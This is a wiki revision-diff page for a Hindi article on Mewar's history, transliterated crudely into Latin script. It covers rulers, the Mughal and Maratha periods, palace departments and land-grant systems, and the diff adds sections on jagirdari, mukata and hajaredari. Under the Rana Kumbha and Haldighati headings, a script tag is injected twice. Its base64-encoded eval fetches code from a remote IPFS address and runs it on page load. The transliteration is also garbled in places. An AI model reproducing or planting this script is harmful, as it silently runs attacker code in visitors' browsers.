Difference between revisions of "मेवाड़ का इतिहास"
| [unchecked revision] | [unchecked revision] |
| Line 154: | Line 154: | ||
:*'''रावली''' - इस प्रकार की भूमि भी राज से मुक्त होती थी तथा इसका विक्रय या बंधक राणा की पूर्व स्वीकृति के बिना नहीं किया जा सकता था। | :*'''रावली''' - इस प्रकार की भूमि भी राज से मुक्त होती थी तथा इसका विक्रय या बंधक राणा की पूर्व स्वीकृति के बिना नहीं किया जा सकता था। | ||
:*'''पट्टा''' - यह भूमि मूलतः राज्य की सैनिक एवं प्रशासनिक व्यवस्था बनाये रखने के लिए दी जाती थी। ऐसे अनुदानों में कई गाँव और परगना सम्मिलित रहते थे। ग्रहिता को क्रय-विक्रय का अधिकार तो नहीं रहता था, किन्तु वे धार्मिक पुर्न:अनुदान के लिए स्वतंत्र थे। कर्त्तव्यच्युत होने पर भूमि को राज्य द्वारा अधिग्रहित कर लिया जाता था। | :*'''पट्टा''' - यह भूमि मूलतः राज्य की सैनिक एवं प्रशासनिक व्यवस्था बनाये रखने के लिए दी जाती थी। ऐसे अनुदानों में कई गाँव और परगना सम्मिलित रहते थे। ग्रहिता को क्रय-विक्रय का अधिकार तो नहीं रहता था, किन्तु वे धार्मिक पुर्न:अनुदान के लिए स्वतंत्र थे। कर्त्तव्यच्युत होने पर भूमि को राज्य द्वारा अधिग्रहित कर लिया जाता था। | ||
| + | ==जागीरदारी== | ||
| + | किसानों से उनकी रक्षार्थ तथा क्षेत्र व्यवस्था हेतु शासक को कृषि उत्पादन का भाग लेने का अधिकार प्राप्त था। यह अंश प्रायः 1/6 से 1/4 के मध्य पारस्परिक समझौते के अनुसार निश्चित किया जाता था। वैसे तो राज्य की सभी तरह की आर्थिक गतिविधियों पर राणा का नियंत्रण होता था, परंतु व्यवहारिक रूप से स्थिति कुछ भिन्न थी। राणा ने राज्य के उत्कृष्ट सेवार्थ जागीरदारों को वाणिज्य-व्यापार, आयात-निर्यात तथा राजस्व वसुली के व्यापक अधिकार भी दे दिये थे। जागीरों में जागीर तथा उनमें भी पुनः खंडित जागीरों की अनुदान प्रवृत्ति ने केंद्रीय राज प्रणाली के अलावा व्यक्तिगत अधिकारों की प्रतिष्ठा को भी प्रभावित कर दिया था। राणा की भूमि पर काम करने वाले 'खालसा कृषक' केन्द्राधीन क्षेत्र में कहीं भी बसने तथा खेती करने के लिए स्वतंत्र थे, वही जागीर के कृषक बगैर जागीरदार की स्वीकृति से अन्यत्र जाने के लिए प्रतिबंधित होते थे। | ||
| + | ====मुकाता प्रथा==== | ||
| + | [[मुग़ल]] प्रभाव से प्रभावित 'इजारेदारी प्रणाली' [[मेवाड़]] में 'मुकाता प्रथा' के रूप में विद्यमान रही थी। भू-राज वसूली के लिए भूमि को ठेके पर देने का सर्वाधिक प्रचलन [[मराठा]] अतिक्रमण काल (1751 ई. से 1818 ई.) तक व्याप्त रहा। कई तरह के खर्च व ऋणों की राशि शेष रहने पर या समयानुसार अदायगी नहीं होने पर मेवाड़ पर ऋण का भार बढ़ता जाता था। ऋणों की पूर्ति हेतु राणा तथा जागीरदार अपनी खालसा व जागीर भूमि मराठा नायकों के पास गिरवी बंधक रख देते थे। इस भूमि को गिरवी रखने का परिणाम यह होता था कि वे मुकाते पर रखे गये भूमि से राजस्व वसुली का अधिकार मिल जाता था और इस प्रकार वह उस विशेष भू-खण्ड का मुकातेदार बन जाता था। सैद्धान्तिक रूप से तो प्रदाता द्वारा ग्रहिता से मुकाते का अनुबंध किया जाता था, किन्तु प्रदाता की ओर से हिसाब-किताब का व्यवस्थित नियंत्रण नहीं था। मुकातेदार की प्रवृति सदैव अधिक से अधिक लाभार्जन की होती थी। अपने ऋण तथा ब्याज का लाभांश प्राप्त करने के लिए मुकाता भूमि की प्रजा से मनमाना राजस्व वसूली करने लग जाता था। 'बराड़' नामक सभी शुल्क या कराधान मराठा राजस्व व्यवस्था के ही परिणाम थे। मराठाओं के अतिक्रमण काल के पश्चात ब्रिटिश संरक्षण काल में भी मुकातादारी प्रथा यथावत प्रचलित रही थी। इस प्रथा का सीधा परिणाम राज्य की अर्थव्यवस्था पर पड़ा। यह मराठाओं के सैनिक अतिक्रमण न होकर उनकी आर्थिक लूट थी। इसी प्रणाली ने साहूकार तथा सटोरियों के एक मध्यस्थ वर्ग को जन्म दिया, जो प्रत्यक्ष रूप से प्रजा का आर्थिक दोहन करते थे। | ||
| + | ====हजारेदारी प्रथा==== | ||
| + | मुकाता प्रथा के साथ-साथ राज प्रणाली में [[कृषि]] भूमि को भागीदारी में जोतने के लिए ही जारे पर प्रदान किया जाता था। मुकाता में जहाँ एक बार रकम अदायगी का अनुबंध हो जाता था, वहाँ हीजारे में उपज का हिस्सा निश्चित किया जाता था, जो 1/2 से 1/4 तक होता था। किसान को हीजारा भूमि करने का तात्पर्य था, ऐसी भूमि जो राज्य के आर्थिक संपन्न व्यक्ति को दे दी जाती थी, पर अप्रत्यक्ष राज वसूली होता था। इस प्रणाली में फ़सल उत्पादन तथा उनका निश्चित भागों में वितरण राज्य के कर्मचारियों की देखरेख में होता था। अतः हीजारेदारों को मनमानी का मौका कम मिलता था। इस प्रकार मध्यस्थ वर्ग की स्वेच्छाचारी स्वच्छन्द प्रवृति पर नियंत्रण बना रहता था। यह प्रथा दाता और कृषक दोनों के लिए समान रूप से हितकारी थी। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
Revision as of 13:23, 15 January 2013
[[chitr:Palace-Of-Rana-Of-Mewar-Udaipur.jpg|thumb|300px|rana ka mahal, meva d (udayapur)]] rajasthan ka meva d rajy parakrami gahalautoan ki bhoomi raha hai, jinaka apana ek itihas hai. inake riti-rivaj tatha itihas ka yah svarnim khajana apani matribhoomi, dharm tatha sanskriti v raksha ke lie kiye gaye gahalautoan ke parakram ki yad dilata hai. svabhavik roop se yah is dharati ki khas visheshataoan, logoan ki jivan paddhati tatha unake arthik tatha samajik dasha se pratyaksh v apratyaksh roop se prabhavit hota raha hai. shakti v samriddhi ke praranbhik dinoan mean meva d simaean uttar-poorv ke taraf bayana, dakshin mean revakanth tatha manikanth, pashchim mean palanapur tatha dakshin-pashchim mean malava ko chhooti thi.
rajapoot shasan
meva d mean kafi lambe samay rajapootoan ka shasan raha tha. bad ke samay mean muslim akramanakariyoan ne bhi yahaan lootapat ki. khilaji vansh ke alauddin khilaji ne 1303 ee. mean meva d ke gahalaut shasak ratan sianh ko parajit karake ise dilli saltanat mean mila liya tha. gahalaut vansh ki ek any shakha 'sisodiya vansh' ke hammiradev ne muhammad tugalak ke samay mean chittau d ko jit kar poore meva d ko svatantr kara liya. 1378 ee. mean hammiradev ki mrityu ke bad usaka putr kshetrasianh (1378-1405 ee.) meva d ki gaddi par baitha. kshetrasianh ke bad usaka putr lakkhasianh 1405 ee. mean sianhasan par baitha. lakkhasianh ki mrityu ke bad 1418 ee. mean isaka putr mokal raja hua. mokal ne kaviraj bani vilas aur yogeshvar namak vidvanoan ko ashray apane rajy mean ashray pradan kiya tha. usake shasan kal mean mana, phanna aur vishal namak prasiddh shilpakar ashray paye huye the. mokal ne anek mandiroan ka jirnoddhar karaya tatha ekaliang mandir ke charoan taraf parakote ka bhi nirman karaya. gujarat shasak ke viruddh kiye gaye ek abhiyan ke samay usaki hatya kar di gayi. 1431 ee. mean mokal ki mrityu ke bad rana kumbha meva d ke raj sianhasan par baitha. rana kumbha tatha rana saanga ke samay rajy ki shakti utkarsh par thi, lekin lagatar hote rahe bahari akramanoan ke karan rajy vistar mean kshetr ki sima badalati rahi. ambaji nam ke ek maratha saradar ne akele hi meva d se qarib do karo d rupaye vasoole the.
1473 ee. mean usaki hatya usake putr udayasianh ne kar di. rajapoot saradaroan ke virodh ke karan udayasianh adhik dinoan tak satta-sukh nahian bhog saka. usake bad usaka chhota bhaee rajamal (shasanakal 1473 se 1509 ee.) gaddi par baitha. 36 varsh ke saphal shasan kal ke bad 1509 ee. mean usaki mrityu ke bad usaka putr rana sangram sianh ya 'rana saanga' (shasanakal 1509 se 1528 ee.) meva d ki gaddi par baitha. usane apane shasan kal mean dilli, malava, gujarat ke viruddh abhiyan kiya. 1527 ee. mean khanava ke yuddh mean vah mugal badashah babar dvara parajit kar diya gaya. isake bad shaktishali shasan ke abhav mean jahaangir ne ise mugal samrajy ke adhin kar liya. meva d ki sthapana rathaur vanshi shasak chund ne ki thi. jodhapur ki sthapana chund ke putr jodha ne ki thi.
rana kumbha
[[chitr:Kumbhalgarh-Udaipur.jpg|thumb|300px|kuanbhalagadh durg, udayapur]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rana kumbha ke meva d mean shasan kal ke dauran usaka ek rishtedar ranamal kafi shaktishali ho gaya tha. ranamal se eershya karane vale kuchh rajapoot saradaroan ne usaki hatya kar di. rana kumbha ne apane prabal pratidvandvi malava ke shasak husangashah ko parast kar 1448 ee. mean chittau d mean ek 'kirti stambh' ki sthapana ki. sthapaty kala ke kshetr mean usaki any upalabdhiyoan mean meva d mean nirmit 84 qiloan mean se 32 qile haian, jise rana kumbha ne banavaya tha. madhy yug ke shasakoan mean rana kumbha ek mahan shasak tha. vah svayan vidvan tatha ved, smriti, mimaansa, upanishad, vyakaran, rajaniti aur sahity ka jnata tha.
haldighati ka yuddh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
akabar ne sanh 1624 mean meva d par akraman kar chittau d ko gher liya, par rana udayasianh ne usaki adhinata svikar nahian ki thi aur prachin adhatapur ke pas udayapur namak apani rajadhani basakar vahaan chala gaya tha. unake bad maharana pratap ne bhi yuddh jari rakha aur adhinata nahian mani thi. unaka haldighati ka yuddh itihas prasiddh hai. is yuddh ke bad pratap ki yuddh-niti chhapamar l daee ki rahi thi. akabar ne kumbhalamer durg se bhi pratap ko khade d diya tatha meva d par anek akraman karavaye the par pratap ne adhinata svikar nahian ki thi. aant mean sanh 1642 ke bad akabar ka dhyan doosare kamoan mean lage rahane ke karan pratap ne apane sthanoan par phir adhikar kar liya tha. sanh 1654 mean chavand mean unaki mrityu ho gee thi.
mugal adhipaty
maharana pratap ke bad usake putr rana amarasianh ne bhi usi prakar viratapoorvak mugaloan ka pratirodh kiya par aant mean usane shahajahaan khurram ke dvara samrat jahaangir se sandhi kar li. usane apane rajakumar ko mugal darabar mean bhej diya par svayan maharana ne, any rajaoan ki tarah darabar mean jana svikar nahian kiya tha. maharana s 1617 mean mrityu ko prapt hua tha. maharana karnasianh ne kabhi shahajada khurram ko pichhola jhil mean bane jagamandir namak mahal mean rakha tha. maharana ka bhaee bhim shahajade ki seva mean raha tha, jise usane badashah banane ke bad toda (todabhim) ki jagir di. khurram ko lakheri ke bad gopaladas gau d ne bhi madad pradan ki thi. badale mean maharana jagatasianh ne apane saradaroan ko badashahi darabar mean bheja aur dakshin ke abhiyan mean sainik sahayata bhi di thi. usaka l daka rajasianh pratham bhi ajamer mean badashah ke samaksh hazir hua tha.thumb|maharana pratap sianh dvitiy maharana ke b de samant bhi badashahi manasabadar ban ge the. chittau d ke qile ki marammat tatha kuchh bagiyoan ko prashray dene ka bahana kar mugaloan ne rajasianh par akraman kiya aur chittau d ke qile ki divaroan ko to d dala. is par ek samajhauta hua, jisake anusar maharana ka chhah varsh ka l daka badashah ke pas ajamer bheja gaya. yuddh ke samay rajasianh ne tikadau d ke bahane n keval meva d ke pur, maandal, badanaur adi ko loota apitu malapura, toda, chakasoo, sambhar, lalasot, toank, savar, khet di adi par hamala kiya aur lootapat ki. usane vahaan ke anek bhoomipatiyoan se b di-b di rakamean bhi kar ke roop mean li thian.
marathoan ka prabhav
maharana ne mugal shahazada dara shikoh ka paksh n lekar aurangajeb ka paksh liya aur uttaradhikar ke yuddh mean usaki vijay par badhaee di thi. kishanagadh ki rajakumari charoomati, jisaka vivah aurangajeb ke sath hona tha, ko bhagakar le jane se apasi ranjish bhi huee. aisa hi jasavantasianh ke navajat putr ajit sianh ko sharan dene ke karan bhi hua. rajasianh ne apane l dake jayasianh ko bhi mugal darabar mean bheja. aurangajeb dvara hinduoan par lagaye ge jaziya ka virodh bhi usane kiya. meva d mean vyapak roop se lootapat aur tabahi machane vali mugal faujoan se use sangharsh karana p da tha. 1727 vi. mean rajasianh ki mrityu ho gee. vah dharm, kala aur sahity ka sanrakshak tha. prasiddh rajasamand ka nirman kar vahaan rajaprashasti namak kavy ko shilaoan par aankit karavane ka shrey usi ko hai. usake putr jayasianh ne bahadurashah ke samay jodhapur tatha jayapur ke nareshoan ko meva di rajakumariyaan dekar rajy prapti mean unaki sahayata ki thi. maharana sangram sianh dvitiy ka kal upadravoan se grast raha tha. usake putr jagatasianh dvitiy ke samay hur da sammelan hua, par usake putr jagatasianh aise kamakaj ke lie saksham nahian tha. usane marathoan ko ghoos dekar sahayata prapt ki, jisase meva d par marathoan ka panja kasata gaya aur maharanaoan ko b di rakamean dekar unhean prasann karana p da tha.
prashasanik vibhag
meva d riyasat ke prashasan mean bahut-se vibhagoan ki sthapana ki gee thi. in vibhagoan ko 'karakhana' kaha jata tha aur karakhane ke pradhan ko us karakhane ka 'daroga' kaha jata tha. in karakhanoan ke nam nimnalikhit haian -
| vibhag | vibhag ke mahattvapoorv kary aur dayitv |
|---|---|
| gahane ka bhandar | is vibhag par abhooshan tatha qimati chizoan ki zimmedari hoti thi. |
| kap de ka bhandar | yah kapade tatha sile hue vastroan ka mukhy bhandar kaksh tha. |
| hukum kharch | yah vibhag darabar se ju de kharch, jaise- puraskar, dan adi ka hisab rakhata tha. |
| panera, kamadar, aphasar vagaira | kary karane vale adhikariyoan ka vibhag |
| raso da khana | maharana ka rasoee vibhag |
| b da raso da, khalla | samany rasoee vibhag |
| kothar | yah apoorti vibhag tha. is vibhag ke antargat b de godam tatha ghar bane hote the, jisamean kam-se-kam 1000 man anaj, ghi tatha rashan ki any vastuean rakhi jati thian. |
| nij sainik sabha ya phauj ka mahakama | sainikoan ka pradhan mukhyalay. is vibhag ka daroga sainikoan ka netritv karata tha. |
| ardali | ajnakari prahariyoan ka vibhag. janani mahal ke najadik ek khas daravaza, jahaan ardali baithate the. ise 'ardali ki dyo di' kahate haian. |
| bandookoan ki ori | is vibhag mean raifal tatha any prakar ke bina barood vale hathiyaroan ko rakha jata tha. |
| ka datoosoan ki ori | visphotak padarth v goliyoan ke chharre rakhane vala barood vibhag.[1] |
| sileh khana | chhote hathiyar, banduk, pistol, agneyastr ya topakhana shakha vala vibhag. |
| chhoori katar ki ori | is vibhag mean katar, chhure, talavar, bajuband tatha male rakhe jate the. |
| pharas khana | lok kalyan vibhag |
| sej ki ori | shayanakaksh se ju di huee vastuoan ka vibhag |
| lavajame ka karakhana | is vibhag ko vardi vale naukar chalate the, is par aantyeshti karm se ju di vastuean, rajy chihn, jhande ityadi ki zimmedari hoti thi. |
| takhat ka karakhana | palakhi, takhat, tamajam, mena, tabari ityadi ke lie zimmedar vibhag. |
| tabela ya payanga | yah vibhag rajakiy seva mean ane vale gho doan ke rahane ki vyavastha karata tha. |
| baggi khana | shahi logoan ki baggi adi ki sucharu dekhabhal se ju da hua vibhag. |
| hathiyoan ka halka | hathiyoan ke rahane ki vyavastha se sambaddh vibhag. |
| jail khana | qaidakhana vibhag, jahaan aparadhi, chor tatha shatruoan adi ko bandi banakar rakha jata tha. |
| chhoti jail | rajy ke chhote mukadamoan se ju di kachahari. |
| dharmasabha | dan, puny, karmakaand tatha any vidhi vidhan se ju da vibhag. |
| ooantoan ka karakhana | saman adi dhone vale ooantoan ka vibhag. |
| kabootarari ori | kabootar, tote, battakh ityadi u dane vale pakshiyoan ka vibhag. |
| naubatakhana | sangit ke upakaranoan vala vibhag. isamean pray: pratidin bajane vale tatha yuddh ke samay bajane vale donoan prakar ke vady upakaran rakhe jate the. |
| gh diyal ka mahakama | gh di tatha ghante vala vibhag. |
| raushani ka mahakama | sampoorn rajy mean raushani ki vyavastha karane vala vibhag. |
| alaladar[2] | svachchhata sambandhi vibhag. |
| chataroan ka karakhana ya tasaviroan ka karakhana | kalakaroan ki karmashala. yah mahal mean hi hota tha, jahaan ve chhavi, vibhinn drishy tatha pothi rangane ka kam karate the. |
| mahakama khas | rajy ka grih vibhag, jo rajy mean rana ke vyaktigat karyoan ki dekhabhal karata tha. |
| mahakama hisab | rajy ka lekha vibhag, jo rajy mean naqad tatha paisoan ke vinimay sambandh ki dekharekh karata tha. |
| bakhshikhana | rik aaurd karyalay ya abhilekhagar vibhag, jahaan sabhi tarah ke purane dastavejoan ko surakshit rakha jata tha. |
bhoomi ka vargikaran
meva d mean bhoomi ke vargikaran ke aantargat pratyek gaanv mean tin prakar ke bhoo-khand the-
- avasiy bhoo-khand
- krishit bhoo-khand
- p dat va banjhar
avasiy bhoo-khand mean avasiy patte nirdharit kiye jate the. in pattoan ke anusar gaanv tatha unake avasoan ko do bhagoan mean vargikrit kiya jata tha- 'kachche patte' aur 'pakke patte'. kachche gaanv mean koee bhi vyakti kahian bhi rah sakata tha, kintu pakke gaanvoan mean us gaanv ki gram panchayat ki bagair svikriti tatha najarana diye bina nahian raha ja sakata tha. p dat bhoomi do prakar ki hoti thi-
- gochar bhoomi
- bedakhali bhoomi
- gochar bhoomi - is bhoomi ko 'charnota' bhi kaha jata tha. is bhoomi par gaanv athava kee gaanv ki panchayatoan ka samoohik adhikar hota tha. is prakar ki bhoomi pashuoan ke ahar-vihar hetu raj se yukt rahati thi. isaka kray-vikray karana pap mana jata tha.
- bedakhali bhoomi - is prakar ki bhoomi par koee bhi vyakti krishi karane ke lie svatantr tha, kintu isake lie gram panchayat ko lagat ya dastoor dena hota tha, jo bahut kam hota tha. dastoor dene ke bad yah dakhili bhoomi ki shreni mean a jati thi tatha ise krishit bhoo-khand man liya jata tha.
bhoo-vyavastha
meva d rajy ka arthik jivan pratyaksh v apratyaksh roop mean bhoomi-vyavasthaoan se bandha hua tha. sikke ka prachalan kam hone ke karan rajy evan samaj ki sevarth bhoomi vitaran ki parampara alochyakal ke poorv se hi chali a rahi thi. kisan to vaise bhi bhoomi utpadan par adharit apani jivika chalate the, kintu bhoomihin vyakti bhi yajamani sevaoan athava bhoomidhari vyaktiyoan ki bhoo sevaoan dvara jivan nirvah karate the. rajy ki sanprabhu shakti dharak rana rajyadhin sanpoorn bhoomi kshetr ka vaidhanik svami tha. vah apane kshetr vishesh mean kisi bhi vyakti ko kisi bhi shart par anudan adhigrahan tatha kararopan karane ka adhikar rakhata tha. rana dvara pratyaksh roop se niyantrit bhoomi 'khalasa bhoomi' ke roop mean jani jati thi. is arakshit bhoomi ke alava rana dvara pradatt bhoomi anudanoan ki do shreniyaan thian-
- dharmarth bhoomi anudan
- dharmettar bhoomi anudan
dharmath bhoomi anudan
dharmik karyoan se sanbandhit anudanoan ka samaj mean vishesh mahatv tha. ye anudan do tarah ke ho sakate the. pahala dharmik sthanoan, mandiroan, masjidoan, devaroan evan mathoan mean vyavastha banaye rakhane ke lie tha. is anudan ko "shatdarshan" kaha jata tha. 19vi. shatabdi mean inhean "devasthani" ke nam se jana jane laga tha. dvitiy shreni ke dharmik anudan brahman, charan, bhat, sanyasi, gusaanee aur vidvan adi ko jivika nirvah ke lie pradan kiye jate the. dharmarth bhoo anudan ki bhoomi ka kray-vikray prayah nahian kiya jata tha. aisi bhoomioan par adhikar prapti hetu uttaradhikari dvara shasan se pushti karana avashyak hota tha. yadyapi aise pushtikaran matr paranpara nirvah hetu kiye jate the. isase shasan ko pratyek navinikaran par us bhoomi ki sthiti tatha usaki dyritiyoan ka pata prapt hota rahata tha. dvitiy shreni ki bhoomi ka kray-vikray athava bandhak rakhana rana ki svikriti par nirbhar karata tha.
dharmettar bhoomi anudan
is prakar ki bhoomi anudan ko alochyakalin prapt vivaranoan ke adhar par do mukhy bhagoan mean baanta ja sakata hai-
- asainik sevarth
- sainik sevarth
- asainik sevarth anudan
yah anudan inam ke roop mean diye gaye anudan ya chakadana naukari ke nimitt diye gaye anudan ho sakate the. vishisht sevaoan ke lie vyakti athava vanshanugat diya jane vala bhoomi anudan 'inamiyamaphi' kahalata tha. isake bhoo raj ka phaisala anudan ki ichchha par nirbhar tha. rajy seva ke parishramik hetu diya gaya bhoo-anudan 'chakaranamaphi' kaha jata tha. yah bhoomi vyakti dvara rajy seva karate rahane tak pradan ki jati thi, atah is par koee raj nahian liya jata tha. sirph kuchh utsavoan v tyoharoan par raj ke anupat mean aanshik nazarane liye jate the. vyavaharikata mean chooanki meva d rajy ke adhikatar pad vanshanugat hote the, isalie aisi bhoomi ke punargrahan ke avasar bahut hi kam ate the. chooanki aisi bhoomi grahita dvara sevarth prapt ki jati thi. atah isaka vikray nahian kiya ja sakata tha.
- sainik sevarth anudan
rajy ki sainik seva ke lie pradan ki gee bhoomi ki mukhyatah char prakar ki shreniyaan thian- 'bhoom', 'gras', 'ravali' aur 'patta'.
- bhoom - is prakar ki bhoomi adhikatar rajapoot jati ke logoan, jinhoanne sainik karyavahiyoan mean apana sarvasv balidan kar rana se prashansa arjit ki ho, ko di jati thi. aisi bhoomi par grahita ko vanshaparanparagat adhikar pradan kiye jate the. yah bhoomi rajy ke raj se mukt rahati thi. prayah rajy ke pratyek pramukh thikanedar ka thikana usaki 'bhoom' rahi thi. aisi bhoomi ke kray-vikray tatha bandhak rakhane par shasan ka koee niyantran nahian tha. doosari taraf bhoom-dharak bhoomiya ko rajy ki sainik seva ke lie sadaiv tatpar rahana p data tha. isake alava 'bhoom-bara d' namak varshik kiraya rajy ko jama karana p data tha. karttavyoan ka palan nahian karane par bhoomi adhigrahan ho sakata tha. is bhoomi anudan ke atirikt rajy ki sainikottar sevaoan ke lie bhil adivasiyoan ko bhi gaanv mean rajamukt bhoomi pradan ki jati thi. badale mean ve gaanv ki chaukidari tatha rajyadhikariyoan ki seva karate the.
- gras - aise anudan raja dvara nikatatam sanbandhiyoan ko roti-kharch chalane ke lie pradan kiya jata tha. gras grahitaoan se koee raj nahian liya jata tha, lekin sankatavastha mean rajy inase sainik sahayata prapt karata tha.
- ravali ya jageri - ravali bhoomi svayan rana, janani dyodhi tatha kuanvaroan ke niji kharch chalane hetu pradan ki jati thi. sanbhavatah poorv alochyakalin rana dvara svayan ka vetan bhi bhoomi dvara nishchit kiya jata raha tha. uttar alochyakal mean yah nij kharch naqad roop mean liya jane laga tha.
- ravali - is prakar ki bhoomi bhi raj se mukt hoti thi tatha isaka vikray ya bandhak rana ki poorv svikriti ke bina nahian kiya ja sakata tha.
- patta - yah bhoomi moolatah rajy ki sainik evan prashasanik vyavastha banaye rakhane ke lie di jati thi. aise anudanoan mean kee gaanv aur paragana sammilit rahate the. grahita ko kray-vikray ka adhikar to nahian rahata tha, kintu ve dharmik purn:anudan ke lie svatantr the. karttavyachyut hone par bhoomi ko rajy dvara adhigrahit kar liya jata tha.
jagiradari
kisanoan se unaki raksharth tatha kshetr vyavastha hetu shasak ko krishi utpadan ka bhag lene ka adhikar prapt tha. yah aansh prayah 1/6 se 1/4 ke madhy parasparik samajhaute ke anusar nishchit kiya jata tha. vaise to rajy ki sabhi tarah ki arthik gatividhiyoan par rana ka niyantran hota tha, parantu vyavaharik roop se sthiti kuchh bhinn thi. rana ne rajy ke utkrisht sevarth jagiradaroan ko vanijy-vyapar, ayat-niryat tatha rajasv vasuli ke vyapak adhikar bhi de diye the. jagiroan mean jagir tatha unamean bhi punah khandit jagiroan ki anudan pravritti ne keandriy raj pranali ke alava vyaktigat adhikaroan ki pratishtha ko bhi prabhavit kar diya tha. rana ki bhoomi par kam karane vale 'khalasa krishak' kendradhin kshetr mean kahian bhi basane tatha kheti karane ke lie svatantr the, vahi jagir ke krishak bagair jagiradar ki svikriti se anyatr jane ke lie pratibandhit hote the.
mukata pratha
mugal prabhav se prabhavit 'ijaredari pranali' meva d mean 'mukata pratha' ke roop mean vidyaman rahi thi. bhoo-raj vasooli ke lie bhoomi ko theke par dene ka sarvadhik prachalan maratha atikraman kal (1751 ee. se 1818 ee.) tak vyapt raha. kee tarah ke kharch v rrinoan ki rashi shesh rahane par ya samayanusar adayagi nahian hone par meva d par rrin ka bhar badhata jata tha. rrinoan ki poorti hetu rana tatha jagiradar apani khalasa v jagir bhoomi maratha nayakoan ke pas giravi bandhak rakh dete the. is bhoomi ko giravi rakhane ka parinam yah hota tha ki ve mukate par rakhe gaye bhoomi se rajasv vasuli ka adhikar mil jata tha aur is prakar vah us vishesh bhoo-khand ka mukatedar ban jata tha. saiddhantik roop se to pradata dvara grahita se mukate ka anubandh kiya jata tha, kintu pradata ki or se hisab-kitab ka vyavasthit niyantran nahian tha. mukatedar ki pravriti sadaiv adhik se adhik labharjan ki hoti thi. apane rrin tatha byaj ka labhaansh prapt karane ke lie mukata bhoomi ki praja se manamana rajasv vasooli karane lag jata tha. 'bara d' namak sabhi shulk ya karadhan maratha rajasv vyavastha ke hi parinam the. marathaoan ke atikraman kal ke pashchat british sanrakshan kal mean bhi mukatadari pratha yathavat prachalit rahi thi. is pratha ka sidha parinam rajy ki arthavyavastha par p da. yah marathaoan ke sainik atikraman n hokar unaki arthik loot thi. isi pranali ne sahookar tatha satoriyoan ke ek madhyasth varg ko janm diya, jo pratyaksh roop se praja ka arthik dohan karate the.
hajaredari pratha
mukata pratha ke sath-sath raj pranali mean krishi bhoomi ko bhagidari mean jotane ke lie hi jare par pradan kiya jata tha. mukata mean jahaan ek bar rakam adayagi ka anubandh ho jata tha, vahaan hijare mean upaj ka hissa nishchit kiya jata tha, jo 1/2 se 1/4 tak hota tha. kisan ko hijara bhoomi karane ka tatpary tha, aisi bhoomi jo rajy ke arthik sanpann vyakti ko de di jati thi, par apratyaksh raj vasooli hota tha. is pranali mean fasal utpadan tatha unaka nishchit bhagoan mean vitaran rajy ke karmachariyoan ki dekharekh mean hota tha. atah hijaredaroan ko manamani ka mauka kam milata tha. is prakar madhyasth varg ki svechchhachari svachchhand pravriti par niyantran bana rahata tha. yah pratha data aur krishak donoan ke lie saman roop se hitakari thi.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh